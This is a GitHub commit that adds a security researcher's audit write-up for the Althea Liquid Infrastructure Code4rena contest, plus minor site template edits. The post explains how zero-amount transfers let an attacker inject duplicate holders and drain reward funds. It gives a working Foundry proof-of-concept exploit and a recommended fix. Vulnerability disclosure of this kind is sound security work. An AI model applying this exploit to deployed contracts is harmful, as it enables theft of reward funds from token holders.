Skip to content

Commit

Permalink
Merge pull request #9 from vesla0x1/contents
Browse files Browse the repository at this point in the history
feat(audits): add althea liquid infrastructure
  • Loading branch information
vesla0x1 authored May 23, 2024
2 parents 11c411f + 347c1ea commit c933d3e
Show file tree
Hide file tree
Showing 4 changed files with 296 additions and 27 deletions.
270 changes: 270 additions & 0 deletions content/audits/althea-03-24.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,270 @@
+++
title = "Althea Liquid Infrastructure"
date = "2024-03-11"
description = "Found my first high severity issue in my first Code4rena contest and second contest ever. Unfortunately, my report was misjudged and I didn't receive any payout."

[taxonomies]
tags = ["Audit Report", "achievement", "Code4rena"]

[extra]
achievement_category = "Web3 Achievements"
achievement_anchor = "achievement"
platform = "Code4rena"
audit_link = "https://code4rena.com/audits/2024-02-althea-liquid-infrastructure"
report = "https://code4rena.com/reports/2024-02-althea-liquid-infrastructure"
start = "2024-02-13"
finish = "2024-02-19"
payment = 0
nsloc = 377
protocol_category = "ERC20/ERC721"
findings = "1H"
ranking_position = "misjudged"
participants = 93
ranking_link = "https://github.com/code-423n4/2024-02-althea-liquid-infrastructure-findings/issues/702#issuecomment-2123414418"
home_feed_label = "Audit Contest"
overview = "Liquid Infrastructure is a protocol to enable the tokenization and investment in real world assets which accrue revenue on-chain, and will be deployed on the Althea-L1 blockchain after launch. The protocol consists of tokenized real world assets represented on-chain by deployed LiquidInfrastructureNFT contracts, and the LiquidInfrastructureERC20 token that functions to aggregate and distribute revenue proportionally to holders. LiquidInfrastructureNFTs are flexible enough to represent devices like routers participating in Althea's pay-per-forward billing protocol, vending machines, renewable energy infrastructure, or electric car chargers. Liquid Infrastructure makes it possible to automatically manage these tokenized assets and arbitrarily group them, creating ERC20 tokens that represent real world assets of various classes.<br><br>Althea-L1 is a Cosmos SDK chain with an EVM compatibility layer, and the Liquid Infrastructure contracts make mention of several features that the chain will bring to Liquid Infrastructure."

references = [{name = "Althea Liquid Infrastructure explanation", url = "https://medium.com/althea-mesh/althea-is-launching-liquid-infrastructure-what-it-is-and-why-it-matters-f5b7d1d61b7d"}, {name = "Althea whitepaper", url="https://updates.althea.net/Althea-Whitepaper-v2.0.pdf"}, {name = "Althea L1 site", url="https://www.althea.net/"}, { name = "Contest page on Code4rena", url = "https://code4rena.com/audits/2024-02-althea-liquid-infrastructure"}, { name = "Official Code4rena Report", url = "https://code4rena.com/reports/2024-02-althea-liquid-infrastructure" }, { name = "Judge confirming the validity of my report", url="https://github.com/code-423n4/2024-02-althea-liquid-infrastructure-findings/issues/702#issuecomment-2124668606"}]

findings_data = [
{ id = "H-1", severity = "High", payment = 0, original_report = "https://github.com/code-423n4/2024-02-althea-liquid-infrastructure-findings/issues/702", duplicates = 50 }
]
+++

## Achievement
I found my first high severity issue in my second ever audit contest. Unfortunately, this report was misjudged, and I didn't receive the payout. At least, [the judge recognized his mistake](https://github.com/code-423n4/2024-02-althea-liquid-infrastructure-findings/issues/702#issuecomment-2124668606) and retracted it. I couldn't question earlier because I don't have the "backstage role" on Code4rena, which would allow me to track and participate in discussions on the issues before the final report is consolidated.

The [selected report](https://github.com/code-423n4/2024-02-althea-liquid-infrastructure-findings/issues/77) by [Mr. Potato Magic](https://code4rena.com/audits/2024-02-althea-liquid-infrastructure#top) received **$391.06** and **ranked 7** in this contest.

# High findings
## [H-1] Flawed existance check of holders in LiquidInfrastructureERC20.sol::_beforeTokenTransfer, result in improper reward distribution and DoS. {#H-1}

### Vulnerability Details
Holders in `LiquidInfrastructureERC20` are accounted in `holders` array and are expected to be unique entries in this array. During the distribution period, each entry in `holders` receives rewards proportionally to the amount of its `LiquidInfrastructureERC20` tokens balance.

New holders (i.e. those with balance becoming greater than 0) are pushed in holders array in [LiquidInfrastructureERC20.sol::_beforeTokenTransfer](https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145) hook:

```javascript
// File: althea-l1-pocs/src/LiquidInfrastructureERC20.sol::_beforeTokenTransfer
142: bool exists = (this.balanceOf(to) != 0);
143: if (!exists) {
144: @> holders.push(to);
145: }
```

And no-longer holders (i.e. those with balance becoming 0) are removed from the array in [LiquidInfrastructureERC20.sol::_afterTokenTransfer](https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L169-L178) hook:

```javascript
// File: althea-l1-pocs/src/LiquidInfrastructureERC20.sol::_afterTokenTransfer
169: bool stillHolding = (this.balanceOf(from) != 0);
170: if (!stillHolding) {
171: for (uint i = 0; i < holders.length; i++) {
172: if (holders[i] == from) {
173: // Remove the element at i by copying the last one into its place and removing the last element
174: holders[i] = holders[holders.length - 1];
175: @> holders.pop();
176: }
177: }
178: }
```

The root cause of the vulnerability is the exitance check for holders in [LiquidInfrastructureERC20.sol#L142](https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142) is flawed. The current token balance of the recipient is being checked to be different than zero. If this condition is satisfied, it is assumed that the recipient doen't exist in `holders` and a new entry is pushed in the array:

```javascript
// File: althea-l1-pocs/src/LiquidInfrastructureERC20.sol::_beforeTokenTransfer
142: @> bool exists = (this.balanceOf(to) != 0);
143: if (!exists) {
144: holders.push(to);
145: }
```

However, this condition does not prevent the case where the recipient receives transfers of zero amount. Recipients whose initial balance is zero and receives zero amount transfers are pushed into `holders` and their balance remains zero after the transfer. A new transfer to this recipient will bypass the existance check for holders resulting in the same recipient to be pushed again in `holders`.

Reward distribution iterates over `holders` and transfers reward tokens for each entry in this array proportionally to its balance, as pointed out in code snippet of [LiquidInfrastructureERC20.sol#L208-L232](https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L208-L232) bellow:

```javascript
// File: althea-l1-pocs/src/LiquidInfrastructureERC20.sol::distribute
208: @> uint256 limit = Math.min(
209: nextDistributionRecipient + numDistributions,
210: @> holders.length
211: );
212:
213: uint i;
214: @> for (i = nextDistributionRecipient; i < limit; i++) {
215: @> address recipient = holders[i];
216: if (isApprovedHolder(recipient)) {
217: uint256[] memory receipts = new uint256[](
218: distributableERC20s.length
219: );
220: for (uint j = 0; j < distributableERC20s.length; j++) {
221: IERC20 toDistribute = IERC20(distributableERC20s[j]);
222: uint256 entitlement = erc20EntitlementPerUnit[j] *
223: @> this.balanceOf(recipient);
224: @> if (toDistribute.transfer(recipient, entitlement)) {
225: receipts[j] = entitlement;
226: }
227: }
228:
229: emit Distribution(recipient, distributableERC20s, receipts);
230: }
231: }
232: nextDistributionRecipient = i;
```
A malicious actor can inject the same recipient multiple times into holders in order to receive reward multiple times and to prevent subsequent real holders to receive rewards due to premature depletion of reward funds, leading to a DoS of the contract.

### Impact
1. Latest holders won't receive rewards because a malicious holders would get more rewards than expected, making `LiquidInfrastructureERC20` run out of reward funds before reaching the end of `holders` array;
2. Since the contract runned out of reward funds while locked for distribution and not all holders have been payed, the distribution period will never finish, preventing functions protected by `LockedForDistribution` varible to execute, leading to a DoS.

### Proof of Concept
```javascript
001: //SPDX-License-Identifier: Apache-2.0
002: pragma solidity 0.8.12;
003:
004: import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
005: import "../src/LiquidInfrastructureNFT.sol";
006: import "../src/LiquidInfrastructureERC20.sol";
007: import "forge-std/Test.sol";
008:
009: contract DT is ERC20 {
010: address private owner;
011:
012: constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {
013: owner = msg.sender;
014: }
015:
016: function mint(address to, uint256 amount) public {
017: require(msg.sender == owner, "not allowed");
018: _mint(to, amount);
019: }
020: }
021:
022: contract LiquidInfrastructureERC20Test is Test {
023: address owner = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496;
024: address alice = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
025: address bob = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
026: address eve = 0x1Df3d35F66b4C30686a1604E3af08779A3914b51;
027: uint256 MIN_DISTRIBUTION_PERIOD = 2;
028:
029: function test_DoS_distribute_rewards() public {
030: uint256 injectedHolders = 100;
031: uint256 initialTokensAmount = 1e18;
032: uint256 smallAmountEnoughToDrainRewards = 1e17;
033: uint256 totalRewardsAmount = 10e18;
034: uint256 nextDistributionBlock = block.number + MIN_DISTRIBUTION_PERIOD;
035:
036: ////// Begin Setup ////////////////////////////////////////////
037: address[] memory distributable_tokens = new address[](1);
038: address[] memory managed_nfts = new address[](1);
039: address[] memory approved_holders = new address[](3);
040:
041: DT rewardTokens = new DT("distributable token", "DT");
042: distributable_tokens[0] = address(rewardTokens);
043:
044: LiquidInfrastructureNFT nft = new LiquidInfrastructureNFT("A");
045: managed_nfts[0] = address(nft);
046:
047: approved_holders[0] = alice;
048: approved_holders[1] = bob;
049: approved_holders[2] = eve;
050:
051: LiquidInfrastructureERC20 erc20 = new LiquidInfrastructureERC20(
052: "liquid infrastructure token",
053: "LIT",
054: managed_nfts,
055: approved_holders,
056: MIN_DISTRIBUTION_PERIOD,
057: distributable_tokens
058: );
059: erc20.mint(bob, initialTokensAmount);
060: rewardTokens.mint(address(erc20), totalRewardsAmount);
061: ////// End Setup //////////////////////////////////////////////
062:
063: // Bob, a malicious holder, transfers zero amount
064: // to another approved EOA (e.g. Eve) mutiple times.
065: // As a result, this account will be repeatedly
066: // pushed into `holders` array, bypassing the
067: // holder "existance" check on LiquidInfrastructureERC20:L143.
068: vm.startPrank(bob);
069: for (uint256 i; i < injectedHolders; i++) {
070: erc20.transfer(eve, 0);
071: }
072:
073: // Now, let's imagine that Alice wants to buy Bob's tokens.
074: // Bob sends his tokens to Alice and then he sends a small amount
075: // to Eve, the account he just injected into `holders`, in order to
076: // Eve's token balance become greater than zero.
077: erc20.transfer(alice, erc20.balanceOf(bob) - smallAmountEnoughToDrainRewards);
078: erc20.transfer(eve, smallAmountEnoughToDrainRewards);
079: vm.stopPrank();
080:
081: // Asserting injected empty transferes to eve + last transfer to eve + transfer to alice
082: address[] memory holders = erc20.getHolders();
083: assertEq(holders.length, injectedHolders + 2);
084: for (uint256 i; i < injectedHolders + 1; i++) {
085: assertEq(holders[i], eve);
086: }
087: assertEq(holders[injectedHolders + 1], alice);
088:
089: /**
090: * Only the first addresses in `holders` array will receive reward tokens.
091: * The latest addresses in this array won't receive rewards because the reward token
092: * balance of LiquidInfrastructureERC20 will be drained before reaching the end
093: * of the array, since the same holder address is unexpectedly rewarded more than
094: * once. As a result, the distribution period will never end, leading to a DoS.
095: *
096: * In this example, Eve is the only holder of the first portion of the array.
097: * Therefore all the reward funds will be send to her.
098: *
099: * The code in the next 3 lines is calculating the "rewardable" portion of holders
100: * array, before the balance is completly drained.
101: */
102: uint256 entitlementPerUnit = rewardTokens.balanceOf(address(erc20)) / erc20.totalSupply();
103: uint256 entitlement = entitlementPerUnit * erc20.balanceOf(eve);
104: uint256 numDistributionsToDrain = totalRewardsAmount / entitlement;
105:
106: // Eve has 0 reward tokens before distribution
107: assertEq(rewardTokens.balanceOf(eve), 0);
108: assertEq(rewardTokens.balanceOf(address(erc20)), totalRewardsAmount);
109:
110: // Eve, can calculate the numDistributionsToDrain and start the distribution:
111: vm.roll(nextDistributionBlock);
112: erc20.distribute(numDistributionsToDrain);
113:
114: // Eve has drained all the reward tokens.
115: assertEq(rewardTokens.balanceOf(eve), totalRewardsAmount);
116: assertEq(rewardTokens.balanceOf(address(erc20)), 0);
117:
118: // Distribution period will never end because latest holders won't be able to receive
119: // rewards, since the balance of LiquidInfrastructureERC20 has been prematurely drained.
120: vm.expectRevert("ERC20: transfer amount exceeds balance");
121: erc20.distributeToAllHolders();
122:
123: // Alice, a latest holder, won't be able to transfer her LiquidInfrastructureERC20
124: // tokens neither receive rewards (or anything else) because end of distribution period
125: // will never be met.
126: vm.expectRevert("distribution in progress");
127: vm.prank(alice);
128: erc20.transfer(bob, 1);
129: }
```
### Tool used
Foundry
### Recommendation
```diff
// File: althea-l1-pocs/src/LiquidInfrastructureERC20.sol
127: function _beforeTokenTransfer(
128: address from,
129: address to,
130: uint256 amount
131: ) internal virtual override {
132: require(!LockedForDistribution, "distribution in progress");
+133: require(amount > 0, "transfer amount has to be greater than 0");
134: if (!(to == address(0))) {
...
```
## Assessed type
DoS
3 changes: 1 addition & 2 deletions content/audits/flatmoney-02-24.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,8 +19,7 @@ payment = 41.11
nsloc = 2215
protocol_category = "Perps"
findings = "1M"
ranking_position = 31
participants = 257
ranking_position = "#31 of 257"
ranking_link = "https://twitter.com/sherlockdefi/status/1764374914838954220"
home_feed_label = "Audit Contest"
overview = "The [Flat Money](https://flat.money/) protocol allows people to deposit Rocket Pool ETH (rETH) and mint UNIT, a decentralized delta-neutral flatcoin designed to outpace inflation. Flat Money also offers Leverage Traders the ability to deposit rETH and open rETH leveraged long positions through perpetual futures contracts."
Expand Down
2 changes: 1 addition & 1 deletion templates/audit_report.html
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,7 @@ <h2>Infos</h2>
<td>Report</td>
</thead>
<tbody>
<td><a href="{{ page.extra.ranking_link }}" target="_blank">#{{ page.extra.ranking_position }}</a> of {{ page.extra.participants }}</td>
<td><a href="{{ page.extra.ranking_link }}" target="_blank">{{ page.extra.ranking_position }}</a></td>
<td>{{ page.extra.start | date(format="%x") }}</td>
<td>{{ page.extra.finish | date(format="%x") }}</td>
<td>{{ self::elapsed(begin=page.extra.start, end=page.extra.finish) }}</td>
Expand Down
48 changes: 24 additions & 24 deletions templates/audits.html
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,6 @@

<h1>Audit reports</h1>

{% for audit in section.pages | sort(attribute="date") | reverse %}
<div class="table-wrapper">
<table>
<thead>
Expand All @@ -25,29 +24,31 @@ <h1>Audit reports</h1>
<td>Date</td>
</tr>
</thead>
<tr>
<td><a href="{{ audit.permalink }}">{{ audit.title }}</a></td>
<td>{{ audit.extra.findings }}</td>
<td>{{ audit.extra.nsloc }}</td>
<td>${{ audit.extra.payment }}</td>
<td>{{ audit.extra.protocol_category }}</td>
<td><a href="{{ audit.extra.ranking_link }}" target="_blank">#{{ audit.extra.ranking_position }}</a> of {{ audit.extra.participants }} </td>
<td>{{ audit.date | date(format="%h, %y") }}</td>
</tr>
{% for audit in section.pages | sort(attribute="date") | reverse %}
<tr>
<td><a href="{{ audit.permalink }}">{{ audit.title }}</a></td>
<td>{{ audit.extra.findings }}</td>
<td>{{ audit.extra.nsloc }}</td>
<td>${{ audit.extra.payment }}</td>
<td>{{ audit.extra.protocol_category }}</td>
<td><a href="{{ audit.extra.ranking_link }}" target="_blank">{{ audit.extra.ranking_position }}</a></td>
<td>{{ audit.date | date(format="%h, %y") }}</td>
</tr>

{% set_global total_payment = total_payment + audit.extra.payment %}
{% set_global total_nsloc = total_nsloc + audit.extra.nsloc %}
{% set findings = audit.extra.findings | split(pat=",") %}
{% for finding in findings %}
{% set ch = finding | reverse | truncate(length=1, end="") %}
{% set val = finding | truncate(length=finding | length - 1, end="") | int %}
{% if ch == "L" %}
{% set_global total_low = total_low + val %}
{% elif ch == "M" %}
{% set_global total_medium = total_medium + val %}
{% elif ch == "H" %}
{% set_global total_high = total_high + val %}
{% endif %}
{% set_global total_payment = total_payment + audit.extra.payment %}
{% set_global total_nsloc = total_nsloc + audit.extra.nsloc %}
{% set findings = audit.extra.findings | split(pat=",") %}
{% for finding in findings %}
{% set ch = finding | reverse | truncate(length=1, end="") %}
{% set val = finding | truncate(length=finding | length - 1, end="") | int %}
{% if ch == "L" %}
{% set_global total_low = total_low + val %}
{% elif ch == "M" %}
{% set_global total_medium = total_medium + val %}
{% elif ch == "H" %}
{% set_global total_high = total_high + val %}
{% endif %}
{% endfor %}
{% endfor %}

<tr>
Expand All @@ -71,5 +72,4 @@ <h1>Audit reports</h1>
</tr>
</table>
</div>
{% endfor %}
{% endblock article_content %}

0 comments on commit c933d3e

Please sign in to comment.